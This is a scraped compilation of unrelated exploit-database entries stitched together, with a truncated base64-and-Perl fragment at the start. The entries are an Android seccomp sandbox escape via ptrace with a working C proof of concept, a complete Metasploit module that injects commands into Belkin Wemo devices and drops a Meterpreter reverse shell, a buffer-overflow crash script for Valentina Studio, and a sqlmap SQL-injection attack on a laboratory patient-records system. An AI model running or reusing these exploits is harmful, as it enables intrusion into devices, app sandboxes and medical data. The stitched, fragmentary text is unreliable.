AGEAcgBkADEBbQAiAA0ACgANAAoADQAKADsAIABEAGkAYQBsAG8AZwAgAEMATwBOAFYARQBSAFQA
QQBSAEMADQAKAA0ACgAxAGEANQBmADYANgAxADQAPQAiADEAMAAwACoAMQAwADAAIgANAAoAZQAx
ADUANQBjAGUANwA3AD0AIgBBAHIAXwFpAHYAbABlAHIAaQAgAGQA9gBuAPwAXwF0APwAcgAiAA0A
CgBjADgANAAzADUANgA1ADQAPQAiAEQA9gBuAPwAXwF0APwAcgD8AGwAZQBjAGUAawAgAGEAcgBf
AWkAJgB2AGwAZQByACIADQAKADAAMAAyAGEANgBmAGIAYQA9ACIAJgBFAGsAbABlAC4ALgAuACIA
DQAKADIANwAzADQAZAAxADAANgA9ACIAJgBLAGEAbABkADEBcgAiAA0ACgAwADYAZABhADEAYQA2
AGMAPQAiAEEAcgBfAWkAdgAgACYAdAD8AHIAbABlAHIAaQAiAA0ACgA4ADEAZQBmAGMANABhAGYA
PQAiAEQA9gBuAPwAXwF0APwAcgBtAGUAIABzAGUA5wBlAG4AZQBrAGwAZQByAGkAIgANAAoAZQBm
AGMAMwA2ADkAMQBkAD0AIgAwAXoAaQBuACAAdgBlAHIAaQBsAGUAbgAgAGUAbgAgACYAZAD8AF8B
/ABrACAAbwByAGEAbgAiAA0ACgBhADkANgBkADMAYgA0ADIAPQAiAFkA/AB6AGQAZQAiAA0ACgA0
ADIAYwA5ADQAZQAwADkAPQAiACYAUwAxAWsAMQFfAXQAMQFyAG0AYQAuAC4ALgAiAA0ACgAxADYA
ZgA4AGMAMgA3ADcAPQAiAEQA9gBuAPwAXwF0APwAcgD8AGwAZQBuACAAYQByAF8BaQB2AGwAZQBy
ACAAaQDnAGkAbgAgAGsAbABhAHMA9gAmAHIAIgANAAoAYwBkADEAZABhAGUAOAA5AD0AIgAmAEcA
9gB6AGEAdAAuAC4ALgAiAA0ACgA4ADEAYgBmAGMAZQA4ADEAPQAiACYATwByAGkAagBpAG4AYQBs
ACAAYQByAF8BaQB2AGwAZQByAGkAIABzAGkAbAAiAA0ACgBkADUAYQBkADMAMQA0ADEAPQAiAF4B
aQAmAGYAcgBlAGwAaQAgAGEAcgBfAWkAdgBsAGUAcgBpACAAYQB0AGwAYQAiAA0ACgA1AGQANAA5
AGQAMAA0AGEAPQAiAFQAYQBtAGEAbQAiAA0ACgA1AGQANQAwADMAYgA3ADYAPQAiADABcAB0AGEA
bAAiAA0ACgAwADAANQAzADYAZAA4AGUAPQAiAEsAYQAmAHkAZABlAHQAIgANAAoAZgBiAGQANQAz
AGMAMgA5AD0AIgBZAGEAcgBkADEBbQAiAA0ACgANAAoADQAKADsAIABEAGkAYQBsAG8AZwAgAEMA
TQBEAFcATgBEAEMATwBOAFYARQBSAFQADQAKAA0ACgAzAGQAYgA0AGEAMgBiAGEAPQAiADEAMAAw
ACoAMQAwADAAIgANAAoAMwA2AGUAZAA5AGUANgBlAD0AIgBBAHIAXwFpAHYAbABlAHIAIABkAPYA
bgD8AF8BdAD8AHIA/ABsAPwAeQBvAHIAIgANAAoAYwBmAGQAMwBjADAAMAAxAD0AIgBHAGUA5wBl
AG4AIABzAPwAcgBlACIADQAKADcANwA1ADUAYwBlAGMAYQA9ACIASwBhAGwAYQBuACAAcwD8AHIA
ZQAiAA0ACgA1ADQAZgBjAGEAYgAxADMAPQAiAEEAcgBfAWkAdgBsAGUAcgAiAA0ACgA4ADQAZQA1
ADIAYgAzAGIAPQAiAEIAdQBsAHUAbgBhAG4AIgANAAoAYwA2ADkAYQBmAGYAMgA4AD0AIgBEAPYA
bgD8AF8BdAD8AHIA/ABsAGUAbgAiAA0ACgAyADcAMAAwADgAYgAwADkAPQAiAEIAbwB5AHUAdAAi
AA0ACgA5AGYAZQA0ADQAMAAwADAAPQAiAEUAcwBrAGkAIgANAAoAYwBiADUAYQBkADAAYQAwAD0A
IgBZAGUAbgBpACIADQAKADAAZQBkADgAMAAwADUAOAA9ACIAJgBBAHIAawBhACAAcABsAGEAbgAi
AA0ACgBiAGYANQBiADUAZQA5ADcAPQAiACYARAB1AHIAYQBrAGwAYQB0ACIADQAKADUAZQBhAGYA
OQAzAGEAZgA9ACIAMAFwAHQAYQBsACIADQAKAGQAOAA0ADcAZgAzAGMAZgA9ACIAWQBhAHIAZAAx
AW0AIgANAAoADQAKAA0ACgA7ACAARABpAGEAbABvAGcAIABWAEkAUgBTAEMAQQBOAA0ACgANAAoA
ZQAxAGYAZAAyADkANAAxAD0AIgAxADAAMAAqADEAMAAwACIADQAKAGYAYQAwAGEANQA0AGEAZQA9
ACIAQQByAF8BaQB2AGkAIAB2AGkAcgD8AHMAbABlAHIAZQAgAGsAYQByAF8BMQEgAHQAYQByAGEA
IgANAAoAYQAyAGUANQA3ADMAMgA3AD0AIgBXAGkAbgBSAEEAUgAnADEBbgAgAGIAdQBsAGQAdQAf
AXUAIAB2AGkAcgD8AHMAIAAmAHQAYQByAGEAeQAxAWMAMQFsAGEAcgAxASIADQAKAGIANgBjADgA
MwBlADcAOQA9ACIAVgBpAHIA/ABzACAAdABhAHIAYQB5ADEBYwAxASAAJgBhAGQAMQEiAA0ACgAx
AGQAMQBhAGEAMQA4ADEAPQAiACYARwD2AHoAYQB0AC4ALgAuACIADQAKADAAMgA5AGIAZQA4ADgA
MgA9ACIAVgBpAHIA/ABzACAAdABhAHIAYQB5ADEBYwAxASAAJgBwAGEAcgBhAG0AZQB0AHIAZQBs
AGUAcgBpACIADQAKADcAYwBlADYAZABlAGYAOAA9ACIAVABhAG0AYQBtACIADQAKADgANQA0ADMA
MgAwADEANQA9ACIAMAFwAHQAYQBsACIADQAKAGMAYQA5AGUAZgBjAGIAYgA9ACIAWQBhAHIAZAAx
AW0AIgANAAoADQAKAA0ACgA7ACAARABpAGEAbABvAGcAIABDAE0ARABNAE8ARABFAA0ACgANAAoA
ZgAzADUAMwA0AGUAMQA5AD0AIgAxADAAMAAqADEAMAAwACIADQAKAGQAMwBhAGYANQBiADUAMwA9
ACIASwBvAG0AdQB0ACAAcABhAHIAYQBtAGUAdAByAGUAbABlAHIAaQAiAA0ACgAwADgAYgAyAGUA
OQBhADUAPQAiACYAUwAxAWsAMQFfAXQAMQFyAG0AYQAgAHkA9gBuAHQAZQBtAGkAIgANAAoAMwBl
ADMAOQBlAGUAMwBjAD0AIgBUAGEAbQBhAG0AbABhAG4AZAAxAR8BMQFuAGQAYQAgAFAAQwAnAHkA
aQAgACYAawBhAHAAYQB0ACIADQAKAGQAZAA1ADIAZQBmAGYAMQA9ACIAVABhAG0AYQBtACIADQAK
AGYAYwA5AGEAMQA4AGYAYQA9ACIAMAFwAHQAYQBsACIADQAKADQAYQA4ADIAZQA2ADcAYwA9ACIA
WQBhAHIAZAAxAW0AIgANAAoADQAKAA0ACgA7ACAARABpAGEAbABvAGcAIABSAEUAUABPAFIAVAAN
AAoADQAKADIAMwA4AGIAZAAzADUAMAA9ACIAMQAwADAAKgAxADAAMAAiAA0ACgBhADMANAAwADcA
YQBkADkAPQAiAFIAYQBwAG8AcgAgAG8AbAB1AF8BdAB1AHIAIgANAAoAMgA2AGIAYwAxADAAMgAw
AD0AIgAmAFIAYQBwAG8AcgB1ACAAZABvAHMAeQBhAHkAYQAgAHkAYQB6ACIADQAKAGUANwAxADMA
MQA0AGUANgA9ACIAJgBHAPYAegBhAHQALgAuAC4AIgANAAoAMQBlADMANQAyADYAYwBiAD0AIgBS
AGEAcABvAHIAdQAgACYAeQBhAHoAMQFjADEBeQBhACAAZwD2AG4AZABlAHIAIgANAAoAYgBmADUA
YQBlADkANABjAD0AIgBSAGEAcABvAHIAdQAgACYAcABhAG4AbwB5AGEAIABrAG8AcAB5AGEAbABh
ACIADQAKADcAMQAzAGIANwA5ADYANAA9ACIAxwAxAWsAdAAxASAAYgBpAOcAaQBtAGkAIgANAAoA
ZAA4ADMAMABiAGQANAA4AD0AIgAmAEgAVABNAEwAIgANAAoAMQBkADEANwA1ADgAYQAzAD0AIgBV
AG4AaQBjACYAbwBkAGUAIABtAGUAdABuAGkAIgANAAoAZAA0ADMAYwBiAGYAMQAyAD0AIgAmAE0A
ZQB0AGkAbgAiAA0ACgBhAGIAZAAyADIAMwBiADUAPQAiACYARABvAHMAeQBhAGwAYQByADEBIABz
ADEBcgBhAGwAYQBtAGEAIAD2AGwA5wD8AHQA/AAiAA0ACgA4AGUAOQA2ADUANgA2AGEAPQAiAEEA
cgBfAWkAdgBsAGUAcgBpACAAYQB5AHIAMQEgAG8AbABhAHIAYQBrACAAJgBzADEBcgBhAGwAYQAi
AA0ACgAzADMAMwBmADUAMgBiADQAPQAiAFIAYQBwAG8AcgBhACAAZABhAGgAaQBsACAAZQB0ACIA
DQAKAGUANwBkADAANwBlAGYAYQA9ACIAJgBBAHIAXwFpAHYAbABlAHIAIgANAAoAYgBhAGMAOQBk
AGQAZgAwAD0AIgAmAE4AbwByAG0AYQBsACAAZABvAHMAeQBhAGwAYQByACIADQAKAGIAOAA4AGQA
YwBhAGQAYgA9ACIAQQByAF8BaQAmAHYAIABhAGQAMQEiAA0ACgBiADIAMwBhAGEANAA2ADAAPQAi
AFQAbwBwAGwAYQBtACAAJgBiAGkAbABnAGkAIgANAAoAMgA1ADEANwA5AGIAMAA1AD0AIgBEAG8A
cwB5AGEAIABiACYAbwB5AHUAdAB1ACIADQAKAGYAMQA4ADcAMwAyAGMANwA9ACIAUABhACYAawBl
AHQAbABpACAAYgBvAHkAdQB0ACIADQAKADcAOAA0ADkAOAA4ADEANQA9ACIARABvAHMAeQBhACAA
JgB6AGEAbQBhAG4AMQEiAA0ACgBkADUAOABjADYAMQBjADIAPQAiAEQAbwBzAHkAYQAgAHMAYQAm
AB8BbABhAG0AYQAgAHQAbwBwAGwAYQBtADEBIgANAAoAMwAzADMAZgA1ADIAYgA0AD0AIgBSAGEA
cABvAHIAYQAgAGQAYQBoAGkAbAAgAGUAdAAiAA0ACgA3ADIANQA3ADIANAA5AGMAPQAiAFQAYQBt
AGEAbQAiAA0ACgA5ADMAMwAyADAANABiADkAPQAiADABcAB0AGEAbAAiAA0ACgA5ADYANgA3ADQA
NwBhAGIAPQAiAFkAYQByAGQAMQFtACIADQAKADEAZAA0AGQAZgA5ADIAOQA9ACIASwBhAHkAZAAm
AGUAdAAiAA0ACgANAAoADQAKADsAIABEAGkAYQBsAG8AZwAgAEMATQBEAFcATgBEAEIARQBOAEMA
SAANAAoADQAKADQAZgBjADIAZQBkADEANAA9ACIAMQAwADAAKgAxADAAMAAiAA0ACgA3ADkAOAA4
AGQAZgA4AGIAPQAiAEgAMQF6ACAAdABlAHMAdABpACIADQAKADkAYQA1ADgANgA4AGIAMQA9ACIA
SAAxAXoAIgANAAoAOAAwADAAYgAzADAANQA0AD0AIgBTAG8AbgB1AOcALAAgAEsAQgAvAHMAIgAN
AAoANwAwADMAYQAwADEANQBkAD0AIgBMAPwAdABmAGUAbgAgAGIAZQBrAGwAZQB5AGkAbgAiAA0A
CgA0AGQAZABlADAAMgAyADgAPQAiAF4BdQAgAGEAbgAsACAASwBCAC8AcwAiAA0ACgA3ADAAMwBh
ADAAMQA1AGQAPQAiAEwA/AB0AGYAZQBuACAAYgBlAGsAbABlAHkAaQBuACIADQAKADUANwA1ADEA
NwA3ADEAOQA9ACIAVABvAHAAbABhAG0AIgANAAoAMwBlAGEANgA1ADQAYQAyAD0AIgBHAGUA5wBl
AG4AIABzAPwAcgBlACIADQAKAGQAMQAwAGYAMgA0ADEAYgA9ACIAMAFfAWwAZQBuAGQAaQAsACAA
TQBCACIADQAKADMAOAAxADYAYQA5ADAAMgA9ACIASABhAHQAYQAgAGIAdQBsAHUAbgBkAHUAIgAN
AAoAMAAyADMAYgAwAGEAZQBmAD0AIgBIAGEAeQAxAXIAIgANAAoAZAA5ADEANAA0ADcAZAA2AD0A
IgAmAE0AdQBsAHQAaQB0AGgAcgBlAGEAZABpAG4AZwAiAA0ACgBhAGYAYQBlAGUAMQA4ADkAPQAi
ACYAQQByAGsAYQAgAHAAbABhAG4AIgANAAoANQBmAGMAZgBhADIAZQBmAD0AIgAmAEQAdQByAGEA
awBsAGEAdAAiAA0ACgBiAGUAMwBiADYAZgBkADcAPQAiADABcAB0AGEAbAAiAA0ACgBjADkANQBi
ADkAOQA2ADQAPQAiAFkAYQByAGQAMQFtACIADQAKAA0ACgANAAoAOwAgAEQAaQBhAGwAbwBnACAA
TwBSAEcAVABIAEUATQBFAFMADQAKAA0ACgA2ADYAYwAwAGUAYwBiAGQAPQAiADEAMAAwACoAMQAw
ADAAIgANAAoAYgBhAGMAMAA0ADAAYQBiAD0AIgBUAGUAbQBhAGwAYQByADEBIABkAPwAegBlAG4A
bABlACIADQAKAGUANgAzADkAZQA1AGEAOQA9ACIAVgBhAHIAbwBsAGEAbgAgACYAdABlAG0AYQBs
AGEAcgAiAA0ACgA4AGMAMAA2ADQANwBlAGQAPQAiAEEAcgBfAWkAdgAgACYAcwBpAG0AZwBlAGwA
ZQByAGkAbgBlACAAdQB5AGcAdQBsAGEAIgANAAoAMQBiAGUAMQAyADgAMQAwAD0AIgBTACYAZQDn
ACIADQAKAGIAZQBjADAANgBmADQAYgA9ACIAJgBFAGsAbABlACIADQAKADYAYQAwADEAYgBlADUA
NwA9ACIAUwAmAGkAbAAiAA0ACgAyAGYAZQAxAGMAMQA0AGIAPQAiAFQAYQBtAGEAbQAiAA0ACgA4
ADgANwBlADUAZgAzADIAPQAiAFkAYQByAGQAMQFtACIADQAKAA0ACgANAAoAOwAgAEQAaQBhAGwA
bwBnACAARABFAEYAVgBPAEwAUwBJAFoARQBTAA0ACgANAAoAMABkADEAMAA3AGQAZQBlAD0AIgAx
ADAAMAAqADEAMAAwACIADQAKADgANAAwADMANAA2AGYAMwA9ACIAQwBpAGwAdAAgAGIAbwB5AHUA
dABsAGEAcgAxAW4AMQEgAGIAZQBsAGkAcgBsAGUAbQBlACIADQAKAGYAMwBkAGYANQBhADYAZQA9
ACIA1gBuACAAdABhAG4AMQFtAGwAMQEgAGIAbwB5AHUAdAAiAA0ACgBiADYAZAA2ADEAMQBiAGQA
PQAiADUAIABNAEIAJwBsADEBawAgAGMAaQBsAHQAbABlAHIAIgANAAoAMAA5ADIAOQBiADEAMQBm
AD0AIgAxADAAMAAgAE0AQgAnAGwAMQFrACAAYwBpAGwAdABsAGUAcgAiAA0ACgBjADQAZgA3AGQA
MgA0ADIAPQAiADYANQAwACAATQBCACAAQwBEACIADQAKADkAYgA2AGMAYwA4ADYANQA9ACIANwAw
ADAAIABNAEIAIABDAEQAIgANAAoAYgA2ADgANQAxAGQAYQAzAD0AIgA0ADAAOQA1ACAATQBCACAA
RgBBAFQAMwAyACAAawAxAXMAMQF0AGwAYQBtAGEAcwAxASIADQAKAGIANwA2ADQANwBhADIANwA9
ACIANAA0ADgAMgAgAE0AQgAgAEQAVgBEACsAUgAiAA0ACgBmADYAMQBjADQAZAA2ADgAPQAiADQA
NAA4ADgAIABNAEIAIABEAFYARAAtAFIAIgANAAoAYQBkADIAMQA2ADEAYgBmAD0AIgA4ADEANQAy
ACAATQBCACAARABWAEQAKwBSACAARABMACIADQAKADMANAA2ADQAYQBmAGYAZQA9ACIAMgAzADgA
NgA2ACAATQBCACAAQgBsAHUALQByAGEAeQAiAA0ACgA1ADAAYgBhADEANAA3ADQAPQAiADQANwA3
ADMAMgAgAE0AQgAgAEIAbAB1AC0AcgBhAHkAIABEAEwAIgANAAoAZAAzADgAMgA3ADgAYgA2AD0A
IgBLAHUAbABsAGEAbgAxAWMAMQEgAHQAYQBuADEBbQBsADEBIABiAG8AeQB1AHQAbABhAHIAIgAN
AAoANgA4ADUAZgBhADMAMgBlAD0AIgBFAHQAaQBrAGUAdAAiAA0ACgA2ADMAOQA0AGYAMQBjADMA
PQAiAEIAbwB5AHUAdAAsACAAYgBhAHkAdAAiAA0ACgBiADUAMQBiAGMANgA3ADEAPQAiADEALgAi
AA0ACgA5AGUAMwA2ADkANQBiADIAPQAiADIALgAiAA0ACgA4ADcAMgBkAGEANABmADMAPQAiADMA
LgAiAA0ACgBjADgANgBjADMAMgAzADQAPQAiADQALgAiAA0ACgBiADQANwAzAGYAZgAwADkAPQAi
AEQAaQAfAWUAcgAgAPYAHwFlAGwAZQByACIADQAKADUAZAA0AGIANwBiAGYAMAA9ACIAXAAiAE8A
dABvAG0AYQB0AGkAawAgAGEAbABnADEBbABhAFwAIgAgAHMAZQDnAGUAbgBlAB8BaQBuAGkAIABn
APYAcwB0AGUAcgAiAA0ACgBlAGEAMQA4AGQANQAxADQAPQAiAGcAZQDnAG0AaQBfASAAZwBpAHIA
ZABpAHMAaQAiAA0ACgAzADkANwBmADAANwBkAGUAPQAiAFQAYQBtAGEAbQAiAA0ACgAyADQANwA3
ADUAYQAwADQAPQAiADABcAB0AGEAbAAiAA0ACgBmADYANABmADUAMAA3ADYAPQAiAFkAYQByAGQA
MQFtACIA';
$decoded = decode_base64($encoded);
print code $decoded;
close(code);
HireHackking 
/*
The seccomp.2 manpage (http://man7.org/linux/man-pages/man2/seccomp.2.html) documents:

              Before kernel 4.8, the seccomp check will not be run again
              after the tracer is notified.  (This means that, on older ker‐
              nels, seccomp-based sandboxes must not allow use of
              ptrace(2)—even of other sandboxed processes—without extreme
              care; ptracers can use this mechanism to escape from the sec‐
              comp sandbox.)

Multiple existing Android devices with ongoing security support (including Pixel 1 and Pixel 2) ship kernels older than that; therefore, in a context where ptrace works, seccomp policies that don't blacklist ptrace can not be considered to be security boundaries.


The zygote applies a seccomp sandbox to system_server and all app processes; this seccomp sandbox permits the use of ptrace:

================
===== filter 0 (164 instructions) =====
0001 if arch == AARCH64: [true +2, false +0]
[...]
0010     if nr >= 0x00000069: [true +1, false +0]
0012       if nr >= 0x000000b4: [true +17, false +16] -> ret TRAP
0023       ret ALLOW (syscalls: init_module, delete_module, timer_create, timer_gettime, timer_getoverrun, timer_settime, timer_delete, clock_settime, clock_gettime, clock_getres, clock_nanosleep, syslog, ptrace, sched_setparam, sched_setscheduler, sched_getscheduler, sched_getparam, sched_setaffinity, sched_getaffinity, sched_yield, sched_get_priority_max, sched_get_priority_min, sched_rr_get_interval, restart_syscall, kill, tkill, tgkill, sigaltstack, rt_sigsuspend, rt_sigaction, rt_sigprocmask, rt_sigpending, rt_sigtimedwait, rt_sigqueueinfo, rt_sigreturn, setpriority, getpriority, reboot, setregid, setgid, setreuid, setuid, setresuid, getresuid, setresgid, getresgid, setfsuid, setfsgid, times, setpgid, getpgid, getsid, setsid, getgroups, setgroups, uname, sethostname, setdomainname, getrlimit, setrlimit, getrusage, umask, prctl, getcpu, gettimeofday, settimeofday, adjtimex, getpid, getppid, getuid, geteuid, getgid, getegid, gettid, sysinfo)
0011     if nr >= 0x00000068: [true +18, false +17] -> ret TRAP
0023     ret ALLOW (syscalls: nanosleep, getitimer, setitimer)
[...]
002a if nr >= 0x00000018: [true +7, false +0]
0032   if nr >= 0x00000021: [true +3, false +0]
0036     if nr >= 0x00000024: [true +1, false +0]
0038       if nr >= 0x00000028: [true +106, false +105] -> ret TRAP
00a2       ret ALLOW (syscalls: sync, kill, rename, mkdir)
0037     if nr >= 0x00000022: [true +107, false +106] -> ret TRAP
00a2     ret ALLOW (syscalls: access)
0033   if nr >= 0x0000001a: [true +1, false +0]
0035     if nr >= 0x0000001b: [true +109, false +108] -> ret TRAP
00a2     ret ALLOW (syscalls: ptrace)
0034   if nr >= 0x00000019: [true +110, false +109] -> ret TRAP
00a2   ret ALLOW (syscalls: getuid)
[...]
================

The SELinux policy allows even isolated_app context, which is used for Chrome's renderer sandbox, to use ptrace:

================
# Google Breakpad (crash reporter for Chrome) relies on ptrace
# functionality. Without the ability to ptrace, the crash reporter
# tool is broken.
# b/20150694
# https://code.google.com/p/chromium/issues/detail?id=475270
allow isolated_app self:process ptrace;
================

Chrome applies two extra layers of seccomp sandbox; but these also permit the use of clone and ptrace:
================
===== filter 1 (194 instructions) =====
0001 if arch == AARCH64: [true +2, false +0]
[...]
0002 if arch != ARM: [true +0, false +60] -> ret TRAP
[...]
0074     if nr >= 0x0000007a: [true +1, false +0]
0076       if nr >= 0x0000007b: [true +74, false +73] -> ret TRAP
00c0       ret ALLOW (syscalls: uname)
0075     if nr >= 0x00000079: [true +75, false +74] -> ret TRAP
00c0     ret ALLOW (syscalls: fsync, sigreturn, clone)
[...]
004d   if nr >= 0x0000001a: [true +1, false +0]
004f     if nr >= 0x0000001b: [true +113, false +112] -> ret TRAP
00c0     ret ALLOW (syscalls: ptrace)
[...]
===== filter 2 (449 instructions) =====
0001 if arch != ARM: [true +0, false +1] -> ret TRAP
[...]
00b6         if nr < 0x00000019: [true +4, false +0] -> ret ALLOW (syscalls: getuid)
00b7         if nr >= 0x0000001a: [true +3, false +8] -> ret ALLOW (syscalls: ptrace)
01c0         ret TRAP
[...]
007f     if nr >= 0x00000073: [true +0, false +5]
0080       if nr >= 0x00000076: [true +0, false +2]
0081         if nr < 0x00000079: [true +57, false +0] -> ret ALLOW (syscalls: fsync, sigreturn, clone)
[...]
================

Therefore, this not only breaks the app sandbox, but can probably also be used to break part of the isolation of a Chrome renderer process.


To test this, build the following file (as an aarch64 binary) and run it from app context (e.g. using connectbot):

================
*/

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <err.h>
#include <signal.h>
#include <sys/ptrace.h>
#include <errno.h>
#include <sys/wait.h>
#include <sys/syscall.h>
#include <sys/user.h>
#include <linux/elf.h>
#include <asm/ptrace.h>
#include <sys/uio.h>

int main(void) {
  setbuf(stdout, NULL);

  pid_t child = fork();
  if (child == -1) err(1, "fork");
  if (child == 0) {
    pid_t my_pid = getpid();
    while (1) {
      errno = 0;
      int res = syscall(__NR_gettid, 0, 0);
      if (res != my_pid) {
        printf("%d (%s)\n", res, strerror(errno));
      }
    }
  }

  sleep(1);

  if (ptrace(PTRACE_ATTACH, child, NULL, NULL)) err(1, "ptrace attach");
  int status;
  if (waitpid(child, &status, 0) != child) err(1, "wait for child");

  if (ptrace(PTRACE_SYSCALL, child, NULL, NULL)) err(1, "ptrace syscall entry");
  if (waitpid(child, &status, 0) != child) err(1, "wait for child");

  int syscallno;
  struct iovec iov = { .iov_base = &syscallno, .iov_len = sizeof(syscallno) };
  if (ptrace(PTRACE_GETREGSET, child, NT_ARM_SYSTEM_CALL, &iov)) err(1, "ptrace getregs");
  printf("seeing syscall %d\n", syscallno);
  if (syscallno != __NR_gettid) errx(1, "not gettid");
  syscallno = __NR_swapon;
  if (ptrace(PTRACE_SETREGSET, child, NT_ARM_SYSTEM_CALL, &iov)) err(1, "ptrace setregs");

  if (ptrace(PTRACE_DETACH, child, NULL, NULL)) err(1, "ptrace syscall");
  kill(child, SIGCONT);
  sleep(5);
  kill(child, SIGKILL);
  return 0;
}

/*
================

If the attack works, you'll see "-1 (Operation not permitted)", which indicates that the seccomp filter for swapon() was bypassed and the kernel's capability check was reached.

For comparison, the following (a straight syscall to swapon()) fails with SIGSYS:

================
#include <unistd.h>
#include <sys/syscall.h>
int main(void) {
  syscall(__NR_swapon, 0, 0);
}
================

Attaching screenshot from connectbot.

I believe that a sensible fix would be to backport the behavior change that occured in kernel 4.8 to Android's stable branches.
*/
HireHackking 
V##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'               => 'Belkin Wemo UPnP Remote Code Execution',
      'Description'        => %q{
        This module exploits a command injection in the Belkin Wemo UPnP API via
        the SmartDevURL argument to the SetSmartDevInfo action.

        This module has been tested on a Wemo-enabled Crock-Pot, but other Wemo
        devices are known to be affected, albeit on a different RPORT (49153).
      },
      'Author'             => [
        'phikshun', # Discovery, UFuzz, and modules
        'wvu'       # Crock-Pot testing and module
      ],
      'References'         => [
        ['URL', 'https://web.archive.org/web/20150901094849/http://disconnected.io/2014/04/04/universal-plug-and-fuzz/'],
        ['URL', 'https://github.com/phikshun/ufuzz'],
        ['URL', 'https://gist.github.com/phikshun/10900566'],
        ['URL', 'https://gist.github.com/phikshun/9984624'],
        ['URL', 'https://www.crock-pot.com/wemo-landing-page.html'],
        ['URL', 'https://www.belkin.com/us/support-article?articleNum=101177'],
        ['URL', 'http://www.wemo.com/']
      ],
      'DisclosureDate'     => '2014-04-04',
      'License'            => MSF_LICENSE,
      'Platform'           => ['unix', 'linux'],
      'Arch'               => [ARCH_CMD, ARCH_MIPSLE],
      'Privileged'         => true,
      'Targets'            => [
        ['Unix In-Memory',
          'Platform'       => 'unix',
          'Arch'           => ARCH_CMD,
          'Type'           => :unix_memory,
          'DefaultOptions' => {
            'PAYLOAD'      => 'cmd/unix/generic'
          }
        ],
        ['Linux Dropper',
          'Platform'       => 'linux',
          'Arch'           => ARCH_MIPSLE,
          'Type'           => :linux_dropper,
          'DefaultOptions' => {
            'PAYLOAD'      => 'linux/mipsle/meterpreter_reverse_tcp'
          }
        ]
      ],
      'DefaultTarget'      => 1,
      'Notes'              => {
        'Stability'        => [CRASH_SAFE],
        'SideEffects'      => [ARTIFACTS_ON_DISK]
      }
    ))

    register_options([
      Opt::RPORT(49152)
    ])

    register_advanced_options([
      OptBool.new('ForceExploit',  [true, 'Override check result', false]),
      OptString.new('WritableDir', [true, 'Writable directory', '/tmp'])
    ])
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => '/setup.xml'
    )

    if res && res.code == 200 && res.body.include?('urn:Belkin:device:')
      vprint_good('Wemo-enabled device detected')
      return CheckCode::Appears
    end

    CheckCode::Safe
  end

  def exploit
    checkcode = check

    unless checkcode == CheckCode::Appears || datastore['ForceExploit']
      fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
    end

    case target['Type']
    when :unix_memory
      execute_command(payload.encoded)
    when :linux_dropper
      cmdstager = generate_cmdstager(
        flavor:   'wget',
        temp:     datastore['WritableDir'],
        file:     File.basename(cmdstager_path),
        noconcat: true
      )

      # HACK: "chmod +x"
      cmdstager.unshift("cp /bin/sh #{cmdstager_path}")
      cmdstager.delete_if { |cmd| cmd.start_with?('chmod +x') }
      cmdstager = cmdstager.join(';')

      vprint_status("Regenerated command stager: #{cmdstager}")
      execute_command(cmdstager)
    end
  end

  def execute_command(cmd, opts = {})
    send_request_cgi(
      'method'       => 'POST',
      'uri'          => '/upnp/control/basicevent1',
      'ctype'        => 'text/xml',
      'headers'      => {
        'SOAPACTION' => '"urn:Belkin:service:basicevent:1#SetSmartDevInfo"'
      },
      'data'         => generate_soap_xml(cmd)
    )
  end

  def generate_soap_xml(cmd)
    <<EOF
<?xml version="1.0" encoding="utf-8"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body>
    <u:SetSmartDevInfo xmlns:u="urn:Belkin:service:basicevent:1">
      <SmartDevURL>`#{cmd}`</SmartDevURL>
    </u:SetSmartDevInfo>
  </s:Body>
</s:Envelope>
EOF
  end

  def cmdstager_path
    @cmdstager_path ||=
      "#{datastore['WritableDir']}/#{rand_text_alphanumeric(8..42)}"
  end

end
HireHackking 
# -*- coding: utf-8 -*-
# Exploit Title: Valentina Studio 9.0.5 Linux - 'Host' Buffer Overflow (PoC)
# Date: 20/02/2019
# Author: Alejandra Sánchez
# Vendor Homepage: https://valentina-db.com/en/
# Software Link: https://www.valentina-db.com/en/all-downloads/vstudio/current/vstudio_x64_lin-deb?format=raw
# Version: 9.0.5
# Tested on: Linux kali amd64

# Proof of Concept:
# 1.- Run the python script "vstudio.py", it will create a new file "vstudio.txt"
# 2.- Copy the text from the generated vstudio.txt file to clipboard
# 3.- Open VStudio
# 4.- Go to File > Connect to...
# 5.- Click on Valentina Server or SQLite Server
# 6.- Paste clipboard in 'Host' field
# 7.- Click on button -> Connect
# 8.- Crashed

buffer = "\x41" * 264
f = open ("vstudio.txt", "w")
f.write(buffer)
f.close()
HireHackking 
# Exploit Title: C4G Basic Laboratory Information System (BLIS) 3.4 - Multiples SQL Injection
# Date: 01/31/2019
# Software Links/Project: https://github.com/C4G/BLIS | http://blis.cc.gatech.edu/index.php
# Version: C4G Basic Laboratory Information System v3.4
# Exploit Author: Carlos Avila
# Category: webapps
# Tested on: Windows 8.1 / Ubuntu Linux
# Contact: http://twitter.com/badboy_nt

1. Description
  
C4G Basic Laboratory Information System (BLIS) is an open-source system to track patients, specimens and laboratory results. C4G BLIS is a joint initiative of Computing for Good (C4G) at the Georgia Institute of Technology, the Centers for Disease Control and Prevention (CDC) and Ministries of Health of several countries in Africa. 

This allows unauthenticated remote attacker to execute arbitrary SQL commands and obtain private information. Admin or users valid credentials aren't required. In a deeper analysis other pages are also affected with the vulnerability over others inputs.

It written in PHP it is vulnerable to SQL Injection on multiples occurrences. The parameters affected are detailed below:

http://192.168.6.101:4001/ajax/users_select.php [parameters affected via GET method: site]



2. Proof of Concept



sunday:sqlmap badboy_nt$ python sqlmap.py --url "http://192.168.6.101:4001/ajax/users_select.php?site=1275969" --random-agent --tamper randomcase --level 3 --dbms mysql --threads 3 --dbs
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.3.1.83#dev}
|_ -| . [,]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 15:51:33 /2019-02-01/

[15:51:33] [INFO] loading tamper module 'randomcase'
